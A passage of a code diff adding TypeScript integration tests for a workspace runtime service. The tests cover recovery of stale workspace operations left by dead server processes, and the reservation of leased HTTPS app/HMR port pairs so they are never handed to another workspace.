+      issuePrefix: `R${companyId.replace(/-/g, "").slice(0, 7).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "Runtime control recovery",
+      status: "in_progress",
+    });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      mode: "isolated_workspace",
+      strategyType: "git_worktree",
+      name: "Lane A",
+      status: "active",
+      cwd: "/tmp/runtime-control-lane-a",
+    });
+    return { companyId, projectId, executionWorkspaceId };
+  }
+
+  /** Wait for a managed control to have actually persisted its claim row. */
+  async function waitForRunningOperation(executionWorkspaceId: string) {
+    for (let attempt = 0; attempt < 100; attempt += 1) {
+      const row = await db
+        .select({ id: workspaceOperations.id })
+        .from(workspaceOperations)
+        .where(
+          and(
+            eq(workspaceOperations.executionWorkspaceId, executionWorkspaceId),
+            eq(workspaceOperations.status, "running"),
+          ),
+        )
+        .then((rows) => rows[0]);
+      if (row) return row.id;
+      await delay(20);
+    }
+    throw new Error("timed out waiting for the managed control operation row");
+  }
+
+  /** Insert a `running` start the way an abandoned request or dead server process leaves one. */
+  async function seedRunningStart(input: {
+    companyId: string;
+    executionWorkspaceId: string;
+    owner?: { ownerId: string; pid: number; heartbeatAt: Date };
+    withLog?: boolean;
+    startedAt?: Date;
+    /**
+     * Let Postgres stamp `started_at`/`updated_at` from the column defaults, at the
+     * microsecond precision the driver truncates on the way back into JS. This is how every
+     * row written before managed controls stamped their own timestamps looks.
+     */
+    columnDefaultTimestamps?: boolean;
+  }) {
+    const id = randomUUID();
+    const handle = input.withLog
+      ? await getWorkspaceOperationLogStore().begin({ companyId: input.companyId, operationId: id })
+      : null;
+    const startedAt = input.startedAt ?? new Date();
+    await db.insert(workspaceOperations).values({
+      id,
+      companyId: input.companyId,
+      executionWorkspaceId: input.executionWorkspaceId,
+      phase: "workspace_provision",
+      command: "workspace command start",
+      cwd: "/tmp/runtime-control-lane-a",
+      status: "running",
+      logStore: handle?.store ?? null,
+      logRef: handle?.logRef ?? null,
+      metadata: {
+        action: "start",
+        executionWorkspaceId: input.executionWorkspaceId,
+        ...(input.owner
+          ? {
+              runtimeControlOwner: {
+                ownerId: input.owner.ownerId,
+                pid: input.owner.pid,
+                action: "start",
+                heartbeatAt: input.owner.heartbeatAt.toISOString(),
+              },
+            }
+          : {}),
+      },
+      ...(input.columnDefaultTimestamps ? {} : { startedAt, updatedAt: startedAt }),
+    });
+    return id;
+  }
+
+  it("recovers a start abandoned by a dead server process and frees managed control", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    // pid 2^22-1 is above every Linux/macOS pid ceiling, so it can never be alive.
+    const deadPid = 4_194_303;
+    const staleId = await seedRunningStart({
+      companyId,
+      executionWorkspaceId,
+      owner: { ownerId: randomUUID(), pid: deadPid, heartbeatAt: new Date() },
+      withLog: true,
+    });
+
+    await expect(service.reconcileStaleRuntimeControlOperations(executionWorkspaceId)).resolves.toEqual({
+      reconciled: 1,
+      operationIds: [staleId],
+    });
+
+    const recovered = await service.getById(staleId);
+    expect(recovered).toMatchObject({
+      status: "failed",
+      metadata: {
+        action: "start",
+        reconciled: true,
+        reconciliationReason: "orphaned_runtime_control",
+      },
+    });
+    expect(recovered?.finishedAt).toBeInstanceOf(Date);
+    expect(recovered?.stderrExcerpt).toContain(`the owning server process (pid ${deadPid}) is gone`);
+    expect((await service.readLog(staleId)).content).toContain("is gone");
+
+    // The workspace is controllable again through the ordinary managed path.
+    await expect(
+      service.assertRuntimeControlAvailable({ executionWorkspaceId, action: "stop" }),
+    ).resolves.toBeUndefined();
+  });
+
+  it("refuses to steal a start whose owning process is still alive inside the staleness window", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const liveId = await seedRunningStart({
+      companyId,
+      executionWorkspaceId,
+      // A different server instance, but its pid is this very test process: genuinely alive.
+      owner: { ownerId: randomUUID(), pid: process.pid, heartbeatAt: new Date() },
+    });
+
+    await expect(service.reconcileStaleRuntimeControlOperations(executionWorkspaceId)).resolves.toEqual({
+      reconciled: 0,
+      operationIds: [],
+    });
+    expect((await service.getById(liveId))?.status).toBe("running");
+
+    // ...and a competing control gets the stable conflict, not a silent steal.
+    await expect(
+      service.assertRuntimeControlAvailable({ executionWorkspaceId, action: "start" }),
+    ).rejects.toMatchObject({
+      status: 409,
+      details: {
+        code: "workspace_runtime_control_in_progress",
+        activeAction: "start",
+        requestedAction: "start",
+        activeOperationId: liveId,
+      },
+    });
+  });
+
+  it("bounds recovery: the same live owner is reclaimed once its heartbeat lapses", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const staleId = await seedRunningStart({
+      companyId,
+      executionWorkspaceId,
+      owner: { ownerId: randomUUID(), pid: process.pid, heartbeatAt: new Date() },
+    });
+
+    const afterWindow = new Date(Date.now() + RUNTIME_CONTROL_STALE_AFTER_MS + 1_000);
+    await expect(
+      service.reconcileStaleRuntimeControlOperations(executionWorkspaceId, { now: afterWindow }),
+    ).resolves.toEqual({ reconciled: 1, operationIds: [staleId] });
+    expect((await service.getById(staleId))?.status).toBe("failed");
+  });
+
+  it("recovers a legacy start with no ownership stamp only after the staleness window", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const legacyId = await seedRunningStart({ companyId, executionWorkspaceId });
+
+    await expect(service.reconcileStaleRuntimeControlOperations(executionWorkspaceId)).resolves.toEqual({
+      reconciled: 0,
+      operationIds: [],
+    });
+    await expect(
+      service.reconcileStaleRuntimeControlOperations(executionWorkspaceId, {
+        now: new Date(Date.now() + RUNTIME_CONTROL_STALE_AFTER_MS + 1_000),
+      }),
+    ).resolves.toEqual({ reconciled: 1, operationIds: [legacyId] });
+  });
+
+  it("recovers a start whose timestamps came from the column defaults", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    // Regression guard for the compare-and-swap: `updated_at` written by `defaultNow()` keeps
+    // microsecond precision, while the driver hands JS a millisecond-truncated Date. An `=`
+    // CAS against that read never matches, which would make recovery silently no-op on exactly
+    // the rows it exists to clear — the ones a previous build left `running`.
+    const legacyId = await seedRunningStart({
+      companyId,
+      executionWorkspaceId,
+      owner: { ownerId: randomUUID(), pid: 4_194_303, heartbeatAt: new Date() },
+      columnDefaultTimestamps: true,
+      withLog: true,
+    });
+
+    await expect(service.reconcileStaleRuntimeControlOperations(executionWorkspaceId)).resolves.toEqual({
+      reconciled: 1,
+      operationIds: [legacyId],
+    });
+    expect((await service.getById(legacyId))?.status).toBe("failed");
+  });
+
+  it("terminalizes exactly once when two recovery sweeps race the same operation", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const staleId = await seedRunningStart({
+      companyId,
+      executionWorkspaceId,
+      owner: { ownerId: randomUUID(), pid: 4_194_303, heartbeatAt: new Date() },
+    });
+
+    const [a, b] = await Promise.all([
+      service.reconcileStaleRuntimeControlOperations(executionWorkspaceId),
+      service.reconcileStaleRuntimeControlOperations(executionWorkspaceId),
+    ]);
+    expect(a.reconciled + b.reconciled).toBe(1);
+    expect((await service.getById(staleId))?.status).toBe("failed");
+  });
+
+  it("leaves non-runtime-control operations alone", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const provisionId = randomUUID();
+    await db.insert(workspaceOperations).values({
+      id: provisionId,
+      companyId,
+      executionWorkspaceId,
+      phase: "workspace_provision",
+      command: "bash ./scripts/provision-worktree.sh",
+      cwd: "/tmp/runtime-control-lane-a",
+      status: "running",
+      metadata: { created: true },
+      startedAt: new Date(Date.now() - 60 * 60_000),
+      updatedAt: new Date(Date.now() - 60 * 60_000),
+    });
+
+    await expect(service.reconcileStaleRuntimeControlOperations()).resolves.toEqual({
+      reconciled: 0,
+      operationIds: [],
+    });
+    const row = await db
+      .select({ status: workspaceOperations.status })
+      .from(workspaceOperations)
+      .where(eq(workspaceOperations.id, provisionId))
+      .then((rows) => rows[0]);
+    expect(row?.status).toBe("running");
+  });
+
+  it("keeps a company's recovery inside its own scope", async () => {
+    const laneA = await seedWorkspace();
+    const laneB = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const staleA = await seedRunningStart({
+      companyId: laneA.companyId,
+      executionWorkspaceId: laneA.executionWorkspaceId,
+      owner: { ownerId: randomUUID(), pid: 4_194_303, heartbeatAt: new Date() },
+    });
+    const staleB = await seedRunningStart({
+      companyId: laneB.companyId,
+      executionWorkspaceId: laneB.executionWorkspaceId,
+      owner: { ownerId: randomUUID(), pid: 4_194_303, heartbeatAt: new Date() },
+    });
+
+    await expect(
+      service.reconcileStaleRuntimeControlOperations(laneA.executionWorkspaceId),
+    ).resolves.toEqual({ reconciled: 1, operationIds: [staleA] });
+    expect((await service.getById(staleB))?.status).toBe("running");
+  });
+
+  it("holds the workspace while a start is genuinely live in this process, then releases it", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const recorder = service.createRecorder({ companyId, executionWorkspaceId });
+
+    let releaseStart!: () => void;
+    const startGate = new Promise<void>((resolve) => {
+      releaseStart = resolve;
+    });
+    const inFlight = recorder.recordOperation({
+      phase: "workspace_provision",
+      command: "workspace command start",
+      metadata: { action: "start", executionWorkspaceId },
+      run: async () => {
+        await startGate;
+        return { status: "succeeded" as const, exitCode: 0 };
+      },
+    });
+
+    // The claim exists once the operation row lands, which is the point at which a competing
+    // control could observe it.
+    const liveOperationId = await waitForRunningOperation(executionWorkspaceId);
+
+    // The live claim is visible to another service instance on the same database, and a
+    // recovery sweep must not steal it even though this operation has not heartbeated yet.
+    const competitor = workspaceOperationService(db);
+    await expect(
+      competitor.assertRuntimeControlAvailable({ executionWorkspaceId, action: "restart" }),
+    ).rejects.toMatchObject({
+      status: 409,
+      details: {
+        code: "workspace_runtime_control_in_progress",
+        requestedAction: "restart",
+        activeOperationId: liveOperationId,
+      },
+    });
+    await expect(
+      competitor.reconcileStaleRuntimeControlOperations(executionWorkspaceId),
+    ).resolves.toEqual({ reconciled: 0, operationIds: [] });
+
+    releaseStart();
+    const completed = await inFlight;
+    expect(completed.status).toBe("succeeded");
+    expect(completed.metadata).toMatchObject({
+      runtimeControlOwner: { ownerId: workspaceRuntimeControlOwnerIdForTests() },
+    });
+
+    // Terminal operation, so the next managed control proceeds.
+    await expect(
+      competitor.assertRuntimeControlAvailable({ executionWorkspaceId, action: "stop" }),
+    ).resolves.toBeUndefined();
+  });
+
+  it("protects an in-process start from recovery even with the staleness window collapsed", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const recorder = service.createRecorder({ companyId, executionWorkspaceId });
+    const sweeper = workspaceOperationService(db);
+
+    let sweeping = true;
+    let reconciled = 0;
+    // `staleAfterMs: 0` removes the heartbeat grace period, so the only thing that can keep
+    // this start alive is the in-process ownership claim. Sweeping continuously across the
+    // whole recordOperation lifetime also covers the row-insert window.
+    const sweeps = (async () => {
+      while (sweeping) {
+        const result = await sweeper.reconcileStaleRuntimeControlOperations(executionWorkspaceId, {
+          staleAfterMs: 0,
+        });
+        reconciled += result.reconciled;
+        await delay(2);
+      }
+    })();
+
+    const operation = await recorder.recordOperation({
+      phase: "workspace_provision",
+      command: "workspace command start",
+      metadata: { action: "start", executionWorkspaceId },
+      run: async () => {
+        await delay(120);
+        return { status: "succeeded" as const, exitCode: 0 };
+      },
+    });
+    sweeping = false;
+    await sweeps;
+
+    expect(reconciled).toBe(0);
+    expect(operation.status).toBe("succeeded");
+    expect((await service.getById(operation.id))?.status).toBe("succeeded");
+  });
+
+  it("fails a hung start on its own time budget so no active operation is left behind", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const recorder = service.createRecorder({ companyId, executionWorkspaceId });
+
+    await expect(
+      recorder.recordOperation({
+        phase: "workspace_provision",
+        command: "workspace command start",
+        metadata: { action: "start", executionWorkspaceId },
+        timeoutMs: 150,
+        // A start that never settles: the readiness probe that parked on a foreign listener.
+        run: () => new Promise(() => {}),
+      }),
+    ).rejects.toBeInstanceOf(WorkspaceOperationTimeoutError);
+
+    const rows = await db
+      .select()
+      .from(workspaceOperations)
+      .where(eq(workspaceOperations.executionWorkspaceId, executionWorkspaceId));
+    expect(rows).toHaveLength(1);
+    expect(rows[0]).toMatchObject({ status: "failed" });
+    expect(rows[0]?.finishedAt).toBeInstanceOf(Date);
+    expect(rows[0]?.metadata).toMatchObject({ failureReason: "runtime_control_timeout" });
+    expect(rows[0]?.stderrExcerpt).toContain("time budget");
+
+    // No orphan active operation: a managed stop or retry goes straight through.
+    await expect(
+      service.assertRuntimeControlAvailable({ executionWorkspaceId, action: "stop" }),
+    ).resolves.toBeUndefined();
+    await expect(service.reconcileStaleRuntimeControlOperations(executionWorkspaceId)).resolves.toEqual({
+      reconciled: 0,
+      operationIds: [],
+    });
+  });
+
+  it("lets a managed retry succeed immediately after a failed start", async () => {
+    const { companyId, executionWorkspaceId } = await seedWorkspace();
+    const service = workspaceOperationService(db);
+    const recorder = service.createRecorder({ companyId, executionWorkspaceId });
+
+    await expect(
+      recorder.recordOperation({
+        phase: "workspace_provision",
+        command: "workspace command start",
+        metadata: { action: "start", executionWorkspaceId },
+        run: async () => {
+          throw new Error("Runtime service \"app\" could not start because port 42003 is already in use by pid 1234");
+        },
+      }),
+    ).rejects.toThrow(/already in use/);
+
+    await expect(
+      service.assertRuntimeControlAvailable({ executionWorkspaceId, action: "start" }),
+    ).resolves.toBeUndefined();
+
+    const retry = await recorder.recordOperation({
+      phase: "workspace_provision",
+      command: "workspace command start",
+      metadata: { action: "start", executionWorkspaceId },
+      run: async () => ({ status: "succeeded" as const, exitCode: 0 }),
+    });
+    expect(retry.status).toBe("succeeded");
+
+    const statuses = await db
+      .select({ status: workspaceOperations.status })
+      .from(workspaceOperations)
+      .where(eq(workspaceOperations.executionWorkspaceId, executionWorkspaceId));
+    expect(statuses.map((row) => row.status).sort()).toEqual(["failed", "succeeded"]);
+  });
+});
diff --git a/server/src/__tests__/workspace-runtime-exposure-reservation.test.ts b/server/src/__tests__/workspace-runtime-exposure-reservation.test.ts
new file mode 100644
index 00000000000..a01d12c8d31
--- /dev/null
+++ b/server/src/__tests__/workspace-runtime-exposure-reservation.test.ts
@@ -0,0 +1,446 @@
+/**
+ * PAP-17419 end-to-end regression: a leased HTTPS app/HMR pair is never handed
+ * to another execution workspace.
+ *
+ * The pure mediation rules are covered in
+ * `services/runtime-exposure/port-reservation.test.ts`. This file drives the
+ * *wired* path against a real database, so the persisted-lease query, the
+ * allocator, the ownership gate, and the startup reconciliation sweep are all
+ * exercised as they actually run — the layer where PAP-17251 failed.
+ *
+ * Reproduces the finding: workspace `b7ce28b4` held `42001/52001` under an open
+ * lease. Its backend was stopped and its exposure torn down, so the row read
+ * `stopped` with `exposure.state = "removed"` and an emptied `listeners` array,
+ * and nothing on the allocation path could still see the reservation. The
+ * unrelated workspace `PAP-16986-add-posthog-mcp` was then handed the pair.
+ *
+ * ## Host safety
+ *
+ * The broker is a fake, so no Tailscale Serve state is ever read or mutated.
+ * Allocation is driven by an injected `isPortAvailable` that models a synthetic
+ * host, and the only ports it will ever return are the `425xx`/`525xx` pairs
+ * named below — deliberately far from a canary lane on `42000`/`42001`, which
+ * this suite must not disturb. Guests do bind those two pairs on loopback, so
+ * the readiness and exposure lifecycle is exercised for real; they are reaped in
+ * `afterEach`. `PAPERCLIP_HOME` is redirected to a temp dir so the local-service
+ * registry never touches the real instance on this host.
+ */
+import { randomUUID } from "node:crypto";
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it } from "vitest";
+import {
+  activityLog,
+  companies,
+  createDb,
+  executionWorkspaces,
+  projectWorkspaces,
+  projects,
+  workspaceRuntimeServices,
+  type Db,
+} from "@paperclipai/db";
+import { eq } from "drizzle-orm";
+
+import type { BrokerClient, BrokerListenerRequest } from "../services/runtime-exposure/broker-client.js";
+import {
+  reconcilePersistedRuntimeServicesOnStartup,
+  resetRuntimeServicesForTests,
+  setWorkspaceRuntimeExposureDepsForTests,
+  startRuntimeServicesForWorkspaceControl,
+} from "../services/workspace-runtime.js";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+
+/** The pair lane B holds under an open lease. */
+const LEASED_APP_PORT = 42_501;
+const LEASED_HMR_PORT = 52_501;
+/** The next pair a correct allocator must relocate to. */
+const NEXT_APP_PORT = 42_502;
+const NEXT_HMR_PORT = 52_502;
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+
+/**
+ * A synthetic host on which only the two dedicated pairs above are usable.
+ *
+ * Crucially, the leased pair reads FREE — no listener, because lane B is
+ * stopped. That is the exact condition under which the old allocator handed it
+ * away, so a fixture that reported it busy would not reproduce the bug at all.
+ */
+async function isPortAvailableOnSyntheticHost(port: number): Promise<boolean> {
+  return port === LEASED_APP_PORT || port === LEASED_HMR_PORT
+    || port === NEXT_APP_PORT || port === NEXT_HMR_PORT;
+}
+
+function createFakeBroker() {
+  const calls: string[] = [];
+  const reservedByHandle = new Map<string, BrokerListenerRequest[]>();
+  const exposedByRuntimeId = new Map<string, BrokerListenerRequest[]>();
+  /** Mappings attributed to a runtime this server did not reserve. */
+  const foreignListeners: Array<{ runtimeId: string; port: number; purpose: "app" | "vite_hmr" }> = [];
+
+  const broker: BrokerClient = {
+    async reserve(runtimeId, requested) {
+      calls.push(`reserve:${requested.map((listener) => listener.port).join(",")}`);
+      const handle = `handle-${runtimeId}`;
+      reservedByHandle.set(handle, requested);
+      return { handle, reservedPorts: requested.map((listener) => listener.port) };
+    },
+    async expose(runtimeId, handle) {
+      calls.push("expose");
+      const requested = reservedByHandle.get(handle) ?? [];
+      exposedByRuntimeId.set(runtimeId, requested);
+      return { handle, publicPorts: requested.map((listener) => listener.port) };
+    },
+    async remove(runtimeId, handle) {
+      calls.push(`remove:${runtimeId}`);
+      const listeners = exposedByRuntimeId.get(runtimeId) ?? reservedByHandle.get(handle) ?? [];
+      exposedByRuntimeId.delete(runtimeId);
+      reservedByHandle.delete(handle);
+      return { removedPorts: listeners.map((listener) => listener.port) };
+    },
+    async list() {
+      return [
+        ...foreignListeners,
+        ...[...exposedByRuntimeId.entries()].flatMap(([runtimeId, listeners]) =>
+          listeners.map((listener) => ({ runtimeId, port: listener.port, purpose: listener.purpose })),
+        ),
+      ];
+    },
+  };
+
+  return { broker, calls, foreignListeners };
+}
+
+function installDeps(broker: BrokerClient, overrides?: {
+  isPortAvailable?: (port: number) => Promise<boolean>;
+}) {
+  setWorkspaceRuntimeExposureDepsForTests({
+    broker,
+    isPortAvailable: overrides?.isPortAvailable ?? isPortAvailableOnSyntheticHost,
+    isBrokerAvailable: async () => true,
+    resolveHostname: async () => "runner.tail123.ts.net",
+    probeHealth: async () => true,
+    now: () => new Date().toISOString(),
+    // Loopback-bind diagnosis is covered by `workspace-runtime-exposure.test.ts`
+    // against real guests; stubbing it here keeps these cases about ownership.
+    diagnoseListenerBinds: async () => null,
+  });
+}
+
+const DECLARED_EXPOSE = {
+  type: "tailscale_https",
+  hostname: "auto",
+  publicPort: "same",
+  includePaperclipViteHmr: true,
+  failurePolicy: "fail_closed",
+} as const;
+
+/**
+ * A backend that binds its allocated app port and the HMR companion on
+ * loopback, matching the real managed lane. Readiness then has a real listener
+ * to probe, so the lifecycle runs to `ready` exactly as in production.
+ */
+const GUEST_COMMAND =
+  "node -e \"const http=require('node:http');const p=Number(process.env.PORT);"
+  + "for(const q of [p,p+10000])http.createServer((_,r)=>{r.statusCode=200;r.end('ok')}).listen(q,'127.0.0.1');"
+  + "setInterval(()=>{},1000)\"";
+
+(embeddedPostgresSupport.supported ? describe : describe.skip)(
+  "PAP-17419 leased exposure pair reservation",
+  () => {
+    let db: Db;
+    let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
+    let previousHttpsMode: string | undefined;
+    let previousPaperclipHome: string | undefined;
+    let previousInstanceId: string | undefined;
+    /**
+     * An EMPTY workspace root, never the repo checkout.
+     *
+     * Pointing `cwd` at the real repo makes the start path do git and
+     * dependency-provisioning work on a large tree, which is slow enough to
+     * blow the test timeout and has nothing to do with what is under test.
+     */
+    let workspaceRoot: string;
+    let paperclipHome: string;
+
+    beforeAll(async () => {
+      tempDb = await startEmbeddedPostgresTestDatabase("pap17419-reservation-");
+      db = createDb(tempDb.connectionString);
+      previousHttpsMode = process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+      process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS = "auto";
+    }, 60_000);
+
+    beforeEach(async () => {
+      workspaceRoot = await fs.mkdtemp(path.join(os.tmpdir(), "pap17419-workspace-"));
+      paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "pap17419-home-"));
+      // Redirect the local-service registry into a throwaway instance. Without
+      // this the suite would write runtime-service records into the real
+      // Paperclip instance on this host and could confuse a live server.
+      previousPaperclipHome = process.env.PAPERCLIP_HOME;
+      previousInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
+      process.env.PAPERCLIP_HOME = paperclipHome;
+      process.env.PAPERCLIP_INSTANCE_ID = `pap17419-${randomUUID()}`;
+    });
+
+    afterAll(async () => {
+      if (previousHttpsMode === undefined) delete process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS;
+      else process.env.PAPERCLIP_MANAGED_RUNTIME_HTTPS = previousHttpsMode;
+      await tempDb?.cleanup();
+    });
+
+    afterEach(async () => {
+      // Terminate first, while the suite's fake broker is still installed.
+      await resetRuntimeServicesForTests({ terminateProcesses: true });
+      if (previousPaperclipHome === undefined) delete process.env.PAPERCLIP_HOME;
+      else process.env.PAPERCLIP_HOME = previousPaperclipHome;
+      if (previousInstanceId === undefined) delete process.env.PAPERCLIP_INSTANCE_ID;
+      else process.env.PAPERCLIP_INSTANCE_ID = previousInstanceId;
+      await fs.rm(workspaceRoot, { recursive: true, force: true });
+      await fs.rm(paperclipHome, { recursive: true, force: true });
+      await db.delete(workspaceRuntimeServices);
+      await db.delete(executionWorkspaces);
+      await db.delete(projectWorkspaces);
+      await db.delete(projects);
+      // Drift reporting writes activity rows, which hold a company FK.
+      await db.delete(activityLog);
+      await db.delete(companies);
+    });
+
+    /**
+     * Seed the incident's two workspaces: lane B with an open lease and a
+     * stopped, torn-down runtime row on the leased pair, and the unrelated
+     * workspace that will ask for a pair next.
+     */
+    async function seedIncident(options?: { leaseStatus?: string; leasedRowStatus?: string }) {
+      const companyId = randomUUID();
+      const projectId = randomUUID();
+      const projectWorkspaceId = randomUUID();
+      const leasedWorkspaceId = randomUUID();
+      const otherWorkspaceId = randomUUID();
+      const leasedRuntimeId = randomUUID();
+
+      await db.insert(companies).values({
+        id: companyId,
+        name: "Paperclip",
+        issuePrefix: `Q${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`,
+        requireBoardApprovalForNewAgents: false,
+      });
+      await db.insert(projects).values({ id: projectId, companyId, name: "Paperclip App", status: "in_progress" });
+      await db.insert(projectWorkspaces).values({
+        id: projectWorkspaceId,
+        companyId,
+        projectId,
+        name: "Primary",
+        cwd: workspaceRoot,
+        isPrimary: true,
+      });
+      for (const [id, name] of [[leasedWorkspaceId, "lane-b"], [otherWorkspaceId, "posthog-mcp"]] as const) {
+        await db.insert(executionWorkspaces).values({
+          id,
+          companyId,
+          projectId,
+          projectWorkspaceId,
+          mode: "isolated_workspace",
+          strategyType: "git_worktree",
+          name,
+          // Lane B's lease is open unless a case closes it.
+          status: id === leasedWorkspaceId ? (options?.leaseStatus ?? "active") : "active",
+          closedAt: id === leasedWorkspaceId && options?.leaseStatus === "archived" ? new Date() : null,
+          cwd: workspaceRoot,
+          baseRef: "HEAD",
+          branchName: name,
+          providerType: "git_worktree",
+        });
+      }
+
+      // Lane B as the incident left it: stopped, torn down, `removed` — and an
+      // EMPTY listeners array, which is what `deprovisionExposure` writes. The
+      // `port` column is the only surviving record of the leased pair.
+      await db.insert(workspaceRuntimeServices).values({
+        id: leasedRuntimeId,
+        companyId,
+        projectId,
+        projectWorkspaceId,
+        executionWorkspaceId: leasedWorkspaceId,
+        scopeType: "execution_workspace",
+        scopeId: leasedWorkspaceId,
+        serviceName: "preview",
+        status: options?.leasedRowStatus ?? "stopped",
+        lifecycle: "shared",
+        command: GUEST_COMMAND,
+        cwd: workspaceRoot,
+        port: LEASED_APP_PORT,
+        provider: "local_process",
+        exposure: {
+          provider: "tailscale_https",
+          state: "removed",
+          publicUrl: null,
+          hostname: null,
+          listeners: [],
+          brokerRef: null,
+          lastError: null,
+          updatedAt: new Date().toISOString(),
+        },
+        stoppedAt: new Date(),
+      });
+
+      return { companyId, projectId, projectWorkspaceId, leasedWorkspaceId, otherWorkspaceId, leasedRuntimeId };
+    }
+
+    function startInput(seed: Awaited<ReturnType<typeof seedIncident>>, executionWorkspaceId: string) {
+      return {
+        invocationId: "pap-17419-reservation",
+        actor: { id: null, name: "Paperclip", companyId: seed.companyId },
+        issue: null,
+        db,
+        workspace: {
+          baseCwd: workspaceRoot,
+          source: "project_primary" as const,
+          projectId: seed.projectId,
+          workspaceId: seed.projectWorkspaceId,
+          repoUrl: null,
+          repoRef: null,
+          strategy: "project_primary" as const,
+          cwd: workspaceRoot,
+          branchName: "test",
+          worktreePath: null,
+          warnings: [],
+          created: false,
+        },
+        executionWorkspaceId,
+        config: {
+          workspaceRuntime: {
+            services: [{
+              name: "preview",
+              command: GUEST_COMMAND,
+              port: { type: "auto", envKey: "PORT" },
+              readiness: { type: "http", urlTemplate: "http://127.0.0.1:{{port}}", timeoutSec: 10, intervalMs: 50 },
+              expose: DECLARED_EXPOSE,
+            }],
+          },
+        },
+        adapterEnv: {},
+      };
+    }
+
+    it("regression 1: does not hand a stopped-but-leased pair to another workspace", async () => {
+      const seed = await seedIncident();
+      const { broker, calls } = createFakeBroker();
+      installDeps(broker);
+
+      const [runtime] = await startRuntimeServicesForWorkspaceControl(
+        startInput(seed, seed.otherWorkspaceId),
+      );
+
+      // The incident outcome would be LEASED_APP_PORT here.
+      expect(runtime.port).toBe(NEXT_APP_PORT);
+      expect(runtime.port).not.toBe(LEASED_APP_PORT);
+      expect(runtime.url).toBe(`https://runner.tail123.ts.net:${NEXT_APP_PORT}`);
+      // The broker was never even asked to reserve the leased pair.
+      expect(calls.filter((call) => call.includes(String(LEASED_APP_PORT)))).toEqual([]);
+      expect(calls[0]).toBe(`reserve:${NEXT_APP_PORT},${NEXT_HMR_PORT}`);
+    }, 30_000);
+
+    it("regression 1: fails closed rather than reusing the leased pair when it is the only one left", async () => {
+      const seed = await seedIncident();
+      const { broker, calls } = createFakeBroker();
+      // A host on which the leased pair is the only free pair in the range.
+      installDeps(broker, {
+        isPortAvailable: async (port) => port === LEASED_APP_PORT || port === LEASED_HMR_PORT,
+      });
+
+      await expect(startRuntimeServicesForWorkspaceControl(
+        startInput(seed, seed.otherWorkspaceId),
+      )).rejects.toThrow(/no free app\/HMR port pair available/);
+
+      expect(calls).toEqual([]);
+    }, 30_000);
+
+    it("regression 1: lets the leaseholder's own workspace take its pair back", async () => {
+      const seed = await seedIncident();
+      const { broker } = createFakeBroker();
+      installDeps(broker);
+
+      const [runtime] = await startRuntimeServicesForWorkspaceControl(
+        startInput(seed, seed.leasedWorkspaceId),
+      );
+
+      // Same workspace, so the preserved-port preference still applies.
+      expect(runtime.port).toBe(LEASED_APP_PORT);
+    }, 30_000);
+
+    it("regression 3: denies a pair whose Serve mapping belongs to another runtime", async () => {
+      const seed = await seedIncident();
+      const { broker, foreignListeners } = createFakeBroker();
+      // The pair the allocator would otherwise relocate to is already published
+      // by a runtime this server has no row for — the unattributable case.
+      foreignListeners.push({ runtimeId: "runtime-not-ours", port: NEXT_APP_PORT, purpose: "app" });
+      installDeps(broker);
+
+      await expect(startRuntimeServicesForWorkspaceControl(
+        startInput(seed, seed.otherWorkspaceId),
+      )).rejects.toThrow(/no free app\/HMR port pair available|HTTPS exposure allocation denied/);
+    }, 30_000);
+
+    it("regression 5: release makes the pair reusable by a different workspace", async () => {
+      const seed = await seedIncident({ leaseStatus: "archived" });
+      const { broker } = createFakeBroker();
+      installDeps(broker);
+
+      const [runtime] = await startRuntimeServicesForWorkspaceControl(
+        startInput(seed, seed.otherWorkspaceId),
+      );
+
+      // Lane B's lease is released, so its pair is genuinely free again and the
+      // ascending scan hands out the lowest one.
+      expect(runtime.port).toBe(LEASED_APP_PORT);
+    }, 30_000);
+
+    it("regression 3: reconciliation surfaces a removed row whose pair is mapped elsewhere, and adopts nothing", async () => {
+      const seed = await seedIncident();
+      const { broker, foreignListeners, calls } = createFakeBroker();
+      // Lane B reads `stopped`/`removed`, but the host still publishes its pair
+      // for someone else. Exactly the falsely-attributed state from PAP-17251.
+      foreignListeners.push({ runtimeId: "runtime-not-ours", port: LEASED_APP_PORT, purpose: "app" });
+      installDeps(broker);
+
+      const result = await reconcilePersistedRuntimeServicesOnStartup(db);
+
+      expect(result.exposureReservationDrift).toHaveLength(1);
+      expect(result.exposureReservationDrift[0]).toMatchObject({
+        runtimeServiceId: seed.leasedRuntimeId,
+        port: LEASED_APP_PORT,
+        reason: "serve_mapping",
+        owner: { executionWorkspaceId: seed.leasedWorkspaceId },
+        conflictingOwner: { runtimeServiceId: "runtime-not-ours" },
+      });
